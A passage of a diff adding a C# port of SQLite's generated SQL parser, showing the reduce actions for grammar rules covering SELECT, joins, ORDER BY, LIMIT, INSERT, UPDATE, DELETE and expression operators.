yygotominor.yy186 = (u8)yymsp[0].minor.yy328; } + //#line 2439 "parse.c" + break; + case 104: /* resolvetype ::= IGNORE */ + //#line 372 "parse.y" + { yygotominor.yy328 = OE_Ignore; } + //#line 2444 "parse.c" + break; + case 105: /* resolvetype ::= REPLACE */ + //#line 373 "parse.y" + { yygotominor.yy328 = OE_Replace; } + //#line 2449 "parse.c" + break; + case 106: /* cmd ::= DROP TABLE ifexists fullname */ + //#line 377 "parse.y" + { + sqlite3DropTable(pParse, yymsp[0].minor.yy65, 0, yymsp[-1].minor.yy328); + } + //#line 2456 "parse.c" + break; + case 109: /* cmd ::= createkw temp VIEW ifnotexists nm dbnm AS select */ + //#line 387 "parse.y" + { + sqlite3CreateView(pParse, yymsp[-7].minor.yy0, yymsp[-3].minor.yy0, yymsp[-2].minor.yy0, yymsp[0].minor.yy3, yymsp[-6].minor.yy328, yymsp[-4].minor.yy328); + } + //#line 2463 "parse.c" + break; + case 110: /* cmd ::= DROP VIEW ifexists fullname */ + //#line 390 "parse.y" + { + sqlite3DropTable(pParse, yymsp[0].minor.yy65, 1, yymsp[-1].minor.yy328); + } + //#line 2470 "parse.c" + break; + case 111: /* cmd ::= select */ + //#line 397 "parse.y" + { + SelectDest dest = new SelectDest(SRT_Output, '\0', 0, 0, 0); + sqlite3Select(pParse, yymsp[0].minor.yy3, ref dest); + sqlite3SelectDelete(pParse.db, ref yymsp[0].minor.yy3); + } + //#line 2479 "parse.c" + break; + case 112: /* select ::= oneselect */ + //#line 408 "parse.y" + { yygotominor.yy3 = yymsp[0].minor.yy3; } + //#line 2484 "parse.c" + break; + case 113: /* select ::= select multiselect_op oneselect */ + //#line 410 "parse.y" + { + if (yymsp[0].minor.yy3 != null) + { + yymsp[0].minor.yy3.op = (u8)yymsp[-1].minor.yy328; + yymsp[0].minor.yy3.pPrior = yymsp[-2].minor.yy3; + } + else + { + sqlite3SelectDelete(pParse.db, ref yymsp[-2].minor.yy3); + } + yygotominor.yy3 = yymsp[0].minor.yy3; + } + //#line 2497 "parse.c" + break; + case 115: /* multiselect_op ::= UNION ALL */ + //#line 421 "parse.y" + { yygotominor.yy328 = TK_ALL; } + //#line 2502 "parse.c" + break; + case 117: /* oneselect ::= SELECT distinct selcollist from where_opt groupby_opt having_opt orderby_opt limit_opt */ + //#line 425 "parse.y" + { + yygotominor.yy3 = sqlite3SelectNew(pParse, yymsp[-6].minor.yy14, yymsp[-5].minor.yy65, yymsp[-4].minor.yy132, yymsp[-3].minor.yy14, yymsp[-2].minor.yy132, yymsp[-1].minor.yy14, yymsp[-7].minor.yy328, yymsp[0].minor.yy476.pLimit, yymsp[0].minor.yy476.pOffset); + } + //#line 2509 "parse.c" + break; + case 121: /* sclp ::= selcollist COMMA */ + case 247: /* idxlist_opt ::= LP idxlist RP */ //yytestcase(yyruleno==247); + //#line 446 "parse.y" + { yygotominor.yy14 = yymsp[-1].minor.yy14; } + //#line 2515 "parse.c" + break; + case 122: /* sclp ::= */ + case 150: /* orderby_opt ::= */ //yytestcase(yyruleno==150); + case 158: /* groupby_opt ::= */ //yytestcase(yyruleno==158); + case 240: /* exprlist ::= */ //yytestcase(yyruleno==240); + case 246: /* idxlist_opt ::= */ //yytestcase(yyruleno==246); + //#line 447 "parse.y" + { yygotominor.yy14 = null; } + //#line 2524 "parse.c" + break; + case 123: /* selcollist ::= sclp expr as */ + //#line 448 "parse.y" + { + yygotominor.yy14 = sqlite3ExprListAppend(pParse, yymsp[-2].minor.yy14, yymsp[-1].minor.yy346.pExpr); + if (yymsp[0].minor.yy0.n > 0) sqlite3ExprListSetName(pParse, yygotominor.yy14, yymsp[0].minor.yy0, 1); + sqlite3ExprListSetSpan(pParse, yygotominor.yy14, yymsp[-1].minor.yy346); + } + //#line 2533 "parse.c" + break; + case 124: /* selcollist ::= sclp STAR */ + //#line 453 "parse.y" + { + Expr p = sqlite3Expr(pParse.db, TK_ALL, null); + yygotominor.yy14 = sqlite3ExprListAppend(pParse, yymsp[-1].minor.yy14, p); + } + //#line 2541 "parse.c" + break; + case 125: /* selcollist ::= sclp nm DOT STAR */ + //#line 457 "parse.y" + { + Expr pRight = sqlite3PExpr(pParse, TK_ALL, 0, 0, yymsp[0].minor.yy0); + Expr pLeft = sqlite3PExpr(pParse, TK_ID, 0, 0, yymsp[-2].minor.yy0); + Expr pDot = sqlite3PExpr(pParse, TK_DOT, pLeft, pRight, 0); + yygotominor.yy14 = sqlite3ExprListAppend(pParse, yymsp[-3].minor.yy14, pDot); + } + //#line 2551 "parse.c" + break; + case 128: /* as ::= */ + //#line 470 "parse.y" + { yygotominor.yy0.n = 0; } + //#line 2556 "parse.c" + break; + case 129: /* from ::= */ + //#line 482 "parse.y" + { yygotominor.yy65 = new SrcList(); }//sqlite3DbMallocZero(pParse.db, sizeof(*yygotominor.yy65)); + //#line 2561 "parse.c" + break; + case 130: /* from ::= FROM seltablist */ + //#line 483 "parse.y" + { + yygotominor.yy65 = yymsp[0].minor.yy65; + sqlite3SrcListShiftJoinType(yygotominor.yy65); + } + //#line 2569 "parse.c" + break; + case 131: /* stl_prefix ::= seltablist joinop */ + //#line 491 "parse.y" + { + yygotominor.yy65 = yymsp[-1].minor.yy65; + if (ALWAYS(yygotominor.yy65 != null && yygotominor.yy65.nSrc > 0)) yygotominor.yy65.a[yygotominor.yy65.nSrc - 1].jointype = (u8)yymsp[0].minor.yy328; + } + //#line 2577 "parse.c" + break; + case 132: /* stl_prefix ::= */ + //#line 495 "parse.y" + { yygotominor.yy65 = null; } + //#line 2582 "parse.c" + break; + case 133: /* seltablist ::= stl_prefix nm dbnm as indexed_opt on_opt using_opt */ + //#line 496 "parse.y" + { + yygotominor.yy65 = sqlite3SrcListAppendFromTerm(pParse, yymsp[-6].minor.yy65, yymsp[-5].minor.yy0, yymsp[-4].minor.yy0, yymsp[-3].minor.yy0, 0, yymsp[-1].minor.yy132, yymsp[0].minor.yy408); + sqlite3SrcListIndexedBy(pParse, yygotominor.yy65, yymsp[-2].minor.yy0); + } + //#line 2590 "parse.c" + break; + case 134: /* seltablist ::= stl_prefix LP select RP as on_opt using_opt */ + //#line 502 "parse.y" + { + yygotominor.yy65 = sqlite3SrcListAppendFromTerm(pParse, yymsp[-6].minor.yy65, 0, 0, yymsp[-2].minor.yy0, yymsp[-4].minor.yy3, yymsp[-1].minor.yy132, yymsp[0].minor.yy408); + } + //#line 2597 "parse.c" + break; + case 135: /* seltablist ::= stl_prefix LP seltablist RP as on_opt using_opt */ + //#line 506 "parse.y" + { + if (yymsp[-6].minor.yy65 == null && yymsp[-2].minor.yy0.n == 0 && yymsp[-1].minor.yy132 == null && yymsp[0].minor.yy408 == null) + { + yygotominor.yy65 = yymsp[-4].minor.yy65; + } + else + { + Select pSubquery; + sqlite3SrcListShiftJoinType(yymsp[-4].minor.yy65); + pSubquery = sqlite3SelectNew(pParse, 0, yymsp[-4].minor.yy65, 0, 0, 0, 0, 0, 0, 0); + yygotominor.yy65 = sqlite3SrcListAppendFromTerm(pParse, yymsp[-6].minor.yy65, 0, 0, yymsp[-2].minor.yy0, pSubquery, yymsp[-1].minor.yy132, yymsp[0].minor.yy408); + } + } + //#line 2611 "parse.c" + break; + case 136: /* dbnm ::= */ + case 145: /* indexed_opt ::= */ //yytestcase(yyruleno==145); + //#line 531 "parse.y" + { yygotominor.yy0.z = null; yygotominor.yy0.n = 0; } + //#line 2617 "parse.c" + break; + case 138: /* fullname ::= nm dbnm */ + //#line 536 "parse.y" + { yygotominor.yy65 = sqlite3SrcListAppend(pParse.db, 0, yymsp[-1].minor.yy0, yymsp[0].minor.yy0); } + //#line 2622 "parse.c" + break; + case 139: /* joinop ::= COMMA|JOIN */ + //#line 540 "parse.y" + { yygotominor.yy328 = JT_INNER; } + //#line 2627 "parse.c" + break; + case 140: /* joinop ::= JOIN_KW JOIN */ + //#line 541 "parse.y" + { yygotominor.yy328 = sqlite3JoinType(pParse, yymsp[-1].minor.yy0, 0, 0); } + //#line 2632 "parse.c" + break; + case 141: /* joinop ::= JOIN_KW nm JOIN */ + //#line 542 "parse.y" + { yygotominor.yy328 = sqlite3JoinType(pParse, yymsp[-2].minor.yy0, yymsp[-1].minor.yy0, 0); } + //#line 2637 "parse.c" + break; + case 142: /* joinop ::= JOIN_KW nm nm JOIN */ + //#line 544 "parse.y" + { yygotominor.yy328 = sqlite3JoinType(pParse, yymsp[-3].minor.yy0, yymsp[-2].minor.yy0, yymsp[-1].minor.yy0); } + //#line 2642 "parse.c" + break; + case 143: /* on_opt ::= ON expr */ + case 154: /* sortitem ::= expr */ //yytestcase(yyruleno==154); + case 161: /* having_opt ::= HAVING expr */ //yytestcase(yyruleno==161); + case 168: /* where_opt ::= WHERE expr */ //yytestcase(yyruleno==168); + case 235: /* case_else ::= ELSE expr */ //yytestcase(yyruleno==235); + case 237: /* case_operand ::= expr */ //yytestcase(yyruleno==237); + //#line 548 "parse.y" + { yygotominor.yy132 = yymsp[0].minor.yy346.pExpr; } + //#line 2652 "parse.c" + break; + case 144: /* on_opt ::= */ + case 160: /* having_opt ::= */ //yytestcase(yyruleno==160); + case 167: /* where_opt ::= */ //yytestcase(yyruleno==167); + case 236: /* case_else ::= */ //yytestcase(yyruleno==236); + case 238: /* case_operand ::= */ //yytestcase(yyruleno==238); + //#line 549 "parse.y" + { yygotominor.yy132 = null; } + //#line 2661 "parse.c" + break; + case 147: /* indexed_opt ::= NOT INDEXED */ + //#line 564 "parse.y" + { yygotominor.yy0.z = null; yygotominor.yy0.n = 1; } + //#line 2666 "parse.c" + break; + case 148: /* using_opt ::= USING LP inscollist RP */ + case 180: /* inscollist_opt ::= LP inscollist RP */ //yytestcase(yyruleno==180); + //#line 568 "parse.y" + { yygotominor.yy408 = yymsp[-1].minor.yy408; } + //#line 2672 "parse.c" + break; + case 149: /* using_opt ::= */ + case 179: /* inscollist_opt ::= */ //yytestcase(yyruleno==179); + //#line 569 "parse.y"null + { yygotominor.yy408 = null; } + //#line 2678 "parse.c" + break; + case 151: /* orderby_opt ::= ORDER BY sortlist */ + case 159: /* groupby_opt ::= GROUP BY nexprlist */ //yytestcase(yyruleno==159); + case 239: /* exprlist ::= nexprlist */ //yytestcase(yyruleno==239); + //#line 580 "parse.y" + { yygotominor.yy14 = yymsp[0].minor.yy14; } + //#line 2685 "parse.c" + break; + case 152: /* sortlist ::= sortlist COMMA sortitem sortorder */ + //#line 581 "parse.y" + { + yygotominor.yy14 = sqlite3ExprListAppend(pParse, yymsp[-3].minor.yy14, yymsp[-1].minor.yy132); + if (yygotominor.yy14 != null) yygotominor.yy14.a[yygotominor.yy14.nExpr - 1].sortOrder = (u8)yymsp[0].minor.yy328; + } + //#line 2693 "parse.c" + break; + case 153: /* sortlist ::= sortitem sortorder */ + //#line 585 "parse.y" + { + yygotominor.yy14 = sqlite3ExprListAppend(pParse, 0, yymsp[-1].minor.yy132); + if (yygotominor.yy14 != null && ALWAYS(yygotominor.yy14.a)) yygotominor.yy14.a[0].sortOrder = (u8)yymsp[0].minor.yy328; + } + //#line 2701 "parse.c" + break; + case 155: /* sortorder ::= ASC */ + case 157: /* sortorder ::= */ //yytestcase(yyruleno==157); + //#line 593 "parse.y" + { yygotominor.yy328 = SQLITE_SO_ASC; } + //#line 2707 "parse.c" + break; + case 156: /* sortorder ::= DESC */ + //#line 594 "parse.y" + { yygotominor.yy328 = SQLITE_SO_DESC; } + //#line 2712 "parse.c" + break; + case 162: /* limit_opt ::= */ + //#line 620 "parse.y" + { yygotominor.yy476.pLimit = null; yygotominor.yy476.pOffset = null; } + //#line 2717 "parse.c" + break; + case 163: /* limit_opt ::= LIMIT expr */ + //#line 621 "parse.y" + { yygotominor.yy476.pLimit = yymsp[0].minor.yy346.pExpr; yygotominor.yy476.pOffset = null; } + //#line 2722 "parse.c" + break; + case 164: /* limit_opt ::= LIMIT expr OFFSET expr */ + //#line 623 "parse.y" + { yygotominor.yy476.pLimit = yymsp[-2].minor.yy346.pExpr; yygotominor.yy476.pOffset = yymsp[0].minor.yy346.pExpr; } + //#line 2727 "parse.c" + break; + case 165: /* limit_opt ::= LIMIT expr COMMA expr */ + //#line 625 "parse.y" + { yygotominor.yy476.pOffset = yymsp[-2].minor.yy346.pExpr; yygotominor.yy476.pLimit = yymsp[0].minor.yy346.pExpr; } + //#line 2732 "parse.c" + break; + case 166: /* cmd ::= DELETE FROM fullname indexed_opt where_opt */ + //#line 638 "parse.y" + { + sqlite3SrcListIndexedBy(pParse, yymsp[-2].minor.yy65, yymsp[-1].minor.yy0); + sqlite3DeleteFrom(pParse, yymsp[-2].minor.yy65, yymsp[0].minor.yy132); + } + //#line 2740 "parse.c" + break; + case 169: /* cmd ::= UPDATE orconf fullname indexed_opt SET setlist where_opt */ + //#line 661 "parse.y" + { + sqlite3SrcListIndexedBy(pParse, yymsp[-4].minor.yy65, yymsp[-3].minor.yy0); + sqlite3ExprListCheckLength(pParse, yymsp[-1].minor.yy14, "set list"); + sqlite3Update(pParse, yymsp[-4].minor.yy65, yymsp[-1].minor.yy14, yymsp[0].minor.yy132, yymsp[-5].minor.yy186); + } + //#line 2749 "parse.c" + break; + case 170: /* setlist ::= setlist COMMA nm EQ expr */ + //#line 671 "parse.y" + { + yygotominor.yy14 = sqlite3ExprListAppend(pParse, yymsp[-4].minor.yy14, yymsp[0].minor.yy346.pExpr); + sqlite3ExprListSetName(pParse, yygotominor.yy14, yymsp[-2].minor.yy0, 1); + } + //#line 2757 "parse.c" + break; + case 171: /* setlist ::= nm EQ expr */ + //#line 675 "parse.y" + { + yygotominor.yy14 = sqlite3ExprListAppend(pParse, 0, yymsp[0].minor.yy346.pExpr); + sqlite3ExprListSetName(pParse, yygotominor.yy14, yymsp[-2].minor.yy0, 1); + } + //#line 2765 "parse.c" + break; + case 172: /* cmd ::= insert_cmd INTO fullname inscollist_opt VALUES LP itemlist RP */ + //#line 684 "parse.y" + { sqlite3Insert(pParse, yymsp[-5].minor.yy65, yymsp[-1].minor.yy14, 0, yymsp[-4].minor.yy408, yymsp[-7].minor.yy186); } + //#line 2770 "parse.c" + break; + case 173: /* cmd ::= insert_cmd INTO fullname inscollist_opt select */ + //#line 686 "parse.y" + { sqlite3Insert(pParse, yymsp[-2].minor.yy65, 0, yymsp[0].minor.yy3, yymsp[-1].minor.yy408, yymsp[-4].minor.yy186); } + //#line 2775 "parse.c" + break; + case 174: /* cmd ::= insert_cmd INTO fullname inscollist_opt DEFAULT VALUES */ + //#line 688 "parse.y" + { sqlite3Insert(pParse, yymsp[-3].minor.yy65, 0, 0, yymsp[-2].minor.yy408, yymsp[-5].minor.yy186); } + //#line 2780 "parse.c" + break; + case 175: /* insert_cmd ::= INSERT orconf */ + //#line 691 "parse.y" + { yygotominor.yy186 = yymsp[0].minor.yy186; } + //#line 2785 "parse.c" + break; + case 176: /* insert_cmd ::= REPLACE */ + //#line 692 "parse.y" + { yygotominor.yy186 = OE_Replace; } + //#line 2790 "parse.c" + break; + case 177: /* itemlist ::= itemlist COMMA expr */ + case 241: /* nexprlist ::= nexprlist COMMA expr */ //yytestcase(yyruleno==241); + //#line 699 "parse.y" + { yygotominor.yy14 = sqlite3ExprListAppend(pParse, yymsp[-2].minor.yy14, yymsp[0].minor.yy346.pExpr); } + //#line 2796 "parse.c" + break; + case 178: /* itemlist ::= expr */ + case 242: /* nexprlist ::= expr */ //yytestcase(yyruleno==242); + //#line 701 "parse.y" + { yygotominor.yy14 = sqlite3ExprListAppend(pParse, 0, yymsp[0].minor.yy346.pExpr); } + //#line 2802 "parse.c" + break; + case 181: /* inscollist ::= inscollist COMMA nm */ + //#line 711 "parse.y" + { yygotominor.yy408 = sqlite3IdListAppend(pParse.db, yymsp[-2].minor.yy408, yymsp[0].minor.yy0); } + //#line 2807 "parse.c" + break; + case 182: /* inscollist ::= nm */ + //#line 713 "parse.y" + { yygotominor.yy408 = sqlite3IdListAppend(pParse.db, 0, yymsp[0].minor.yy0); } + //#line 2812 "parse.c" + break; + case 183: /* expr ::= term */ + case 211: /* escape ::= ESCAPE expr */ //yytestcase(yyruleno==211); + //#line 744 "parse.y" + { yygotominor.yy346 = yymsp[0].minor.yy346; } + //#line 2818 "parse.c" + break; + case 184: /* expr ::= LP expr RP */ + //#line 745 "parse.y" + { yygotominor.yy346.pExpr = yymsp[-1].minor.yy346.pExpr; spanSet(yygotominor.yy346, yymsp[-2].minor.yy0, yymsp[0].minor.yy0); } + //#line 2823 "parse.c" + break; + case 185: /* term ::= NULL */ + case 190: /* term ::= INTEGER|FLOAT|BLOB */ //yytestcase(yyruleno==190); + case 191: /* term ::= STRING */ //yytestcase(yyruleno==191); + //#line 746 "parse.y" + { spanExpr(yygotominor.yy346, pParse, yymsp[0].major, yymsp[0].minor.yy0); } + //#line 2830 "parse.c" + break; + case 186: /* expr ::= id */ + case 187: /* expr ::= JOIN_KW */ //yytestcase(yyruleno==187); + //#line 747 "parse.y" + { spanExpr(yygotominor.yy346, pParse, TK_ID, yymsp[0].minor.yy0); } + //#line 2836 "parse.c" + break; + case 188: /* expr ::= nm DOT nm */ + //#line 749 "parse.y" + { + Expr temp1 = sqlite3PExpr(pParse, TK_ID, 0, 0, yymsp[-2].minor.yy0); + Expr temp2 = sqlite3PExpr(pParse, TK_ID, 0, 0, yymsp[0].minor.yy0); + yygotominor.yy346.pExpr = sqlite3PExpr(pParse, TK_DOT, temp1, temp2, 0); + spanSet(yygotominor.yy346, yymsp[-2].minor.yy0, yymsp[0].minor.yy0); + } + //#line 2846 "parse.c" + break; + case 189: /* expr ::= nm DOT nm DOT nm */ + //#line 755 "parse.y" + { + Expr temp1 = sqlite3PExpr(pParse, TK_ID, 0, 0, yymsp[-4].minor.yy0); + Expr temp2 = sqlite3PExpr(pParse, TK_ID, 0, 0, yymsp[-2].minor.yy0); + Expr temp3 = sqlite3PExpr(pParse, TK_ID, 0, 0, yymsp[0].minor.yy0); + Expr temp4 = sqlite3PExpr(pParse, TK_DOT, temp2, temp3, 0); + yygotominor.yy346.pExpr = sqlite3PExpr(pParse, TK_DOT, temp1, temp4, 0); + spanSet(yygotominor.yy346, yymsp[-4].minor.yy0, yymsp[0].minor.yy0); + } + //#line 2858 "parse.c" + break; + case 192: /* expr ::= REGISTER */ + //#line 765 "parse.y" + { + /* When doing a nested parse, one can include terms in an expression + ** that look like this: #1 #2 ... These terms refer to registers + ** in the virtual machine. #N is the N-th register. */ + if (pParse.nested == 0) + { + sqlite3ErrorMsg(pParse, "near \"%T\": syntax error", yymsp[0].minor.yy0); + yygotominor.yy346.pExpr = null; + } + else + { + yygotominor.yy346.pExpr = sqlite3PExpr(pParse, TK_REGISTER, 0, 0, yymsp[0].minor.yy0); + if (yygotominor.yy346.pExpr != null) sqlite3GetInt32(yymsp[0].minor.yy0.z.Substring(1), ref yygotominor.yy346.pExpr.iTable); + } + spanSet(yygotominor.yy346, yymsp[0].minor.yy0, yymsp[0].minor.yy0); + } + //#line 2875 "parse.c" + break; + case 193: /* expr ::= VARIABLE */ + //#line 778 "parse.y" + { + spanExpr(yygotominor.yy346, pParse, TK_VARIABLE, yymsp[0].minor.yy0); + sqlite3ExprAssignVarNumber(pParse, yygotominor.yy346.pExpr); + spanSet(yygotominor.yy346, yymsp[0].minor.yy0, yymsp[0].minor.yy0); + } + //#line 2884 "parse.c" + break; + case 194: /* expr ::= expr COLLATE ids */ + //#line 783 "parse.y" + { + yygotominor.yy346.pExpr = sqlite3ExprSetColl(pParse, yymsp[-2].minor.yy346.pExpr, yymsp[0].minor.yy0); + yygotominor.yy346.zStart = yymsp[-2].minor.yy346.zStart; + yygotominor.yy346.zEnd = yymsp[0].minor.yy0.z.Substring(yymsp[0].minor.yy0.n); + } + //#line 2893 "parse.c" + break; + case 195: /* expr ::= CAST LP expr AS typetoken RP */ + //#line 789 "parse.y" + { + yygotominor.yy346.pExpr = sqlite3PExpr(pParse, TK_CAST, yymsp[-3].minor.yy346.pExpr, 0, yymsp[-1].minor.yy0); + spanSet(yygotominor.yy346, yymsp[-5].minor.yy0, yymsp[0].minor.yy0); + } + //#line 2901 "parse.c" + break; + case 196: /* expr ::= ID LP distinct exprlist RP */ + //#line 794 "parse.y" + { + if (yymsp[-1].minor.yy14 != null && yymsp[-1].minor.yy14.nExpr > pParse.db.aLimit[SQLITE_LIMIT_FUNCTION_ARG]) + { + sqlite3ErrorMsg(pParse, "too many arguments on function %T", yymsp[-4].minor.yy0); + } + yygotominor.yy346.pExpr = sqlite3ExprFunction(pParse, yymsp[-1].minor.yy14, yymsp[-4].minor.yy0); + spanSet(yygotominor.yy346, yymsp[-4].minor.yy0, yymsp[0].minor.yy0); + if (yymsp[-2].minor.yy328 != 0 && yygotominor.yy346.pExpr != null) + { + yygotominor.yy346.pExpr.flags |= EP_Distinct; + } + } + //#line 2915 "parse.c" + break; + case 197: /* expr ::= ID LP STAR RP */ + //#line 804 "parse.y" + { + yygotominor.yy346.pExpr = sqlite3ExprFunction(pParse, 0, yymsp[-3].minor.yy0); + spanSet(yygotominor.yy346, yymsp[-3].minor.yy0, yymsp[0].minor.yy0); + } + //#line 2923 "parse.c" + break; + case 198: /* term ::= CTIME_KW */ + //#line 808 "parse.y" + { + /* The CURRENT_TIME, CURRENT_DATE, and CURRENT_TIMESTAMP values are + ** treated as functions that return constants */ + yygotominor.yy346.pExpr = sqlite3ExprFunction(pParse, 0, yymsp[0].minor.yy0); + if (yygotominor.yy346.pExpr != null) + { + yygotominor.yy346.pExpr.op = TK_CONST_FUNC; + } + spanSet(yygotominor.yy346, yymsp[0].minor.yy0, yymsp[0].minor.yy0); + } + //#line 2936 "parse.c" + break; + case 199: /* expr ::= expr AND expr */ + case 200: /* expr ::= expr OR expr */ //yytestcase(yyruleno==200); + case 201: /* expr ::= expr LT|GT|GE|LE expr */ //yytestcase(yyruleno==201); + case 202: /* expr ::= expr EQ|NE expr */ //yytestcase(yyruleno==202); + case 203: /* expr ::= expr BITAND|BITOR|LSHIFT|RSHIFT expr */ //yytestcase(yyruleno==203); + case 204: /* expr ::= expr PLUS|MINUS expr */ //yytestcase(yyruleno==204); + case 205: /* expr ::= expr STAR|SLASH|REM expr */ //yytestcase(yyruleno==205); + case 206: /* expr ::= expr CONCAT expr */ //yytestcase(yyruleno==206); + //#line 835 "parse.y" + { spanBinaryExpr(yygotominor.yy346, pParse, yymsp[-1].major, yymsp[-2].minor.yy346, yymsp[0].minor.yy346); } + //#line 2948 "parse.c" + break; + case 207: /* likeop ::= LIKE_KW */ + case 209: /* likeop ::= MATCH */ //yytestcase(yyruleno==209); + //#line 848 "parse.y" + { yygotominor.yy96.eOperator = yymsp[0].minor.yy0; yygotominor.yy96.not = false; } + //#line 2954 "parse.c" + break; + case 208: /* likeop ::= NOT LIKE_KW */ + case 210: /* likeop ::= NOT MATCH */ //yytestcase(yyruleno==210); + //#line 849 "parse.y" + { yygotominor.yy96.eOperator = yymsp[0].minor.yy0; yygotominor.yy96.not = true; } + //#line 2960 "parse.c" + break; + case 212: /* escape ::= */ + //#line 855 "parse.y" + { yygotominor.yy346 = new ExprSpan(); }// memset( yygotominor.yy346, 0, sizeof( yygotominor.yy346 ) ); + //#line 2965 "parse.c" + break; + case 213: /* expr ::= expr likeop expr escape */ + //#line 856 "parse.y" + { + ExprList pList; + pList = sqlite3ExprListAppend(pParse, 0, yymsp[-1].minor.yy346.pExpr); + pList = sqlite3ExprListAppend(pParse, pList, yymsp[-3].minor.yy346.pExpr); + if (yymsp[0].minor.yy346.pExpr != null) + { + pList = sqlite3ExprListAppend(pParse, pList, yymsp[0].minor.yy346.pExpr); + } + yygotominor.yy346.pExpr = sqlite3ExprFunction(pParse, pList, yymsp[-2].minor.yy96.eOperator); + if (yymsp[-2].minor.yy96.not) yygotominor.yy346.pExpr = sqlite3PExpr(pParse, TK_NOT, yygotominor.yy346.pExpr, 0, 0); + yygotominor.yy346.zStart = yymsp[-3].minor.yy346.zStart; + yygotominor.yy346.zEnd = yymsp[-1].minor.yy346.zEnd; + if (yygotominor.yy346.pExpr != null) yygotominor.yy346.pExpr.flags |= EP_InfixFunc; + } + //#line 2982 "parse.c" + break; + case 214: /* expr ::= expr ISNULL|NOTNULL */ + //#line 886 "parse.y" + { spanUnaryPostfix(yygotominor.yy346, pParse, yymsp[0].major, yymsp[-1].minor.yy346, yymsp[0].minor.yy0); } + //#line 2987 "parse.c" + break; + case 215: /* expr ::= expr IS NULL */ + //#line 887 "parse.y" + { spanUnaryPostfix(yygotominor.yy346, pParse, TK_ISNULL, yymsp[-2].minor.yy346, yymsp[0].minor.yy0); } + //#line 2992 "parse.c" + break; + case 216: /* expr ::= expr NOT NULL */ + //#line 888 "parse.y" + { spanUnaryPostfix(yygotominor.yy346, pParse, TK_NOTNULL, yymsp[-2].minor.yy346, yymsp[0].minor.yy0); } + //#line 2997 "parse.c" + break; + case 217: /* expr ::= expr IS NOT NULL */ + //#line 890 "parse.y" + { spanUnaryPostfix(yygotominor.yy346, pParse, TK_NOTNULL, yymsp[-3].minor.yy346, yymsp[0].minor.yy0); } + //#line 3002 "parse.c" + break; + case 218: /* expr ::= NOT expr */ + case 219: /* expr ::= BITNOT expr */ //yytestcase(yyruleno==219); + //#line 910 "parse.y" + { spanUnaryPrefix(yygotominor.yy346, pParse, yymsp[-1].major, yymsp[0].minor.yy346, yymsp[-1].minor.yy0); } + //#line 3008 "parse.c" + break; + case 220: /* expr ::= MINUS expr */ + //#line 913 "parse.y" + { spanUnaryPrefix(yygotominor.yy346, pParse, TK_UMINUS, yymsp[0].minor.yy346, yymsp[-1].minor.yy0); } + //#line 3013 "parse.c" + break; + case 221: /* expr ::= PLUS expr */ + //#line 915 "parse.y" + { spanUnaryPrefix(yygotominor.yy346, pParse, TK_UPLUS, yymsp[0].minor.yy346, yymsp[-1].minor.yy0); } + //#line 3018 "parse.c" + break; + case 224: /* expr ::= expr between_op expr AND expr */ + //#line 920 "parse.y" + { + ExprList pList = sqlite3ExprListAppend(pParse, 0, yymsp[-2].minor.yy346.pExpr); + pList = sqlite3ExprListAppend(pParse, pList, yymsp[0].minor.yy346.pExpr); + yygotominor.yy346.pExpr = sqlite3PExpr(pParse, TK_BETWEEN, yymsp[-4].minor.yy346.pExpr, 0, 0); + if (yygotominor.yy346.pExpr != null) + { + yygotominor.yy346.pExpr.x.pList = pList; + } + else + { + sqlite3ExprListDelete(pParse.db, ref pList); + } + if (yymsp[-3].minor.yy328 != 0) yygotominor.yy346.pExpr = sqlite3PExpr(pParse, TK_NOT, yygotominor.yy346.pExpr, 0, 0); + yygotominor.yy346.zStart = yymsp[-4].minor.yy346.zStart; + yygotominor.yy346.zEnd = yymsp[0].minor.yy346.zEnd; + } + //#line 3035 "parse.c" + break; + case 227: /* expr ::= expr in_op LP exprlist RP */ + //#line 937 "parse.y" + { + yygotominor.yy346.pExpr = sqlite3PExpr(pParse, TK_IN, yymsp[-4].minor.yy346.pExpr, 0, 0); + if (yygotominor.yy346.pExpr != null) + { + yygotominor.yy346.pExpr.x.pList = yymsp[-1].minor.yy14; + sqlite3ExprSetHeight(pParse, yygotominor.yy346.pExpr); + } + else + { + sqlite3ExprListDelete(pParse.db, ref yymsp[-1].minor.yy14); + } + if (yymsp[-3].minor.yy328 != 0) yygotominor.yy346.pExpr = sqlite3PExpr(pParse, TK_NOT, yygotominor.yy346.pExpr, 0, 0); + yygotominor.yy346.zStart = yymsp[-4].minor.yy346.zStart; + yygotominor.yy346.zEnd = yymsp[0].minor.yy0.z.Substring(yymsp[0].minor.yy0.n); + } + //#line 3051 "parse.c" + break; + case 228: /* expr ::= LP select RP */ + //#line 949 "parse.y" + { + yygotominor.yy346.pExpr = sqlite3PExpr(pParse, TK_SELECT, 0, 0, 0); + if (yygotominor.yy346.pExpr != null) + { + yygotominor.yy346.pExpr.x.pSelect = yymsp[-1].minor.yy3; + ExprSetProperty(yygotominor.yy346.pExpr, EP_xIsSelect); + sqlite3ExprSetHeight(pParse, yygotominor.yy346.pExpr); + } + else + { + sqlite3SelectDelete(pParse.db, ref yymsp[-1].minor.yy3); + } + yygotominor.yy346.zStart = yymsp[-2].minor.yy0.z; + yygotominor.yy346.zEnd = yymsp[0].minor.yy0.z.Substring(yymsp[0].minor.yy0.n); + } + //#line 3067 "parse.c" + break; + case 229: /* expr ::= expr in_op LP select RP */ + //#line 961 "parse.y" + { + yygotominor.yy346.pExpr = sqlite3PExpr(pParse, TK_IN, yymsp[-4].minor.yy346.pExpr, 0, 0); + if (yygotominor.yy346.pExpr != null) + { + yygotominor.yy346.pExpr.x.pSelect = yymsp[-1].minor.yy3; + ExprSetProperty(yygotominor.yy346.pExpr, EP_xIsSelect); + sqlite3ExprSetHeight(pParse, yygotominor.yy346.pExpr); + } + else + { + sqlite3SelectDelete(pParse.db, ref yymsp[-1].minor.yy3); + } + if (yymsp[-3].minor.yy328 != 0) yygotominor.yy346.pExpr = sqlite3PExpr(pParse, TK_NOT, yygotominor.yy346.pExpr, 0, 0); + yygotominor.yy346.zStart = yymsp[-4].minor.yy346.zStart; + yygotominor.yy346.zEnd = yymsp[0].minor.yy0.z.Substring(yymsp[0].minor.yy0.n); + } + //#line 3084 "parse.c" + break; + case 230: /* expr ::= expr in_op nm dbnm */ + //#line 974 "parse.y" + { + SrcList pSrc = sqlite3SrcListAppend(pParse.db, 0, yymsp[-1].minor.yy0, yymsp[0].minor.yy0); + yygotominor.yy346.pExpr = sqlite3PExpr(pParse, TK_IN, yymsp[-3].minor.yy346.pExpr, 0, 0); + if (yygotominor.yy346.pExpr != null) + { + yygotominor.yy346.pExpr.x.pSelect = sqlite3SelectNew(pParse, 0, pSrc, 0, 0, 0, 0, 0, 0, 0); + 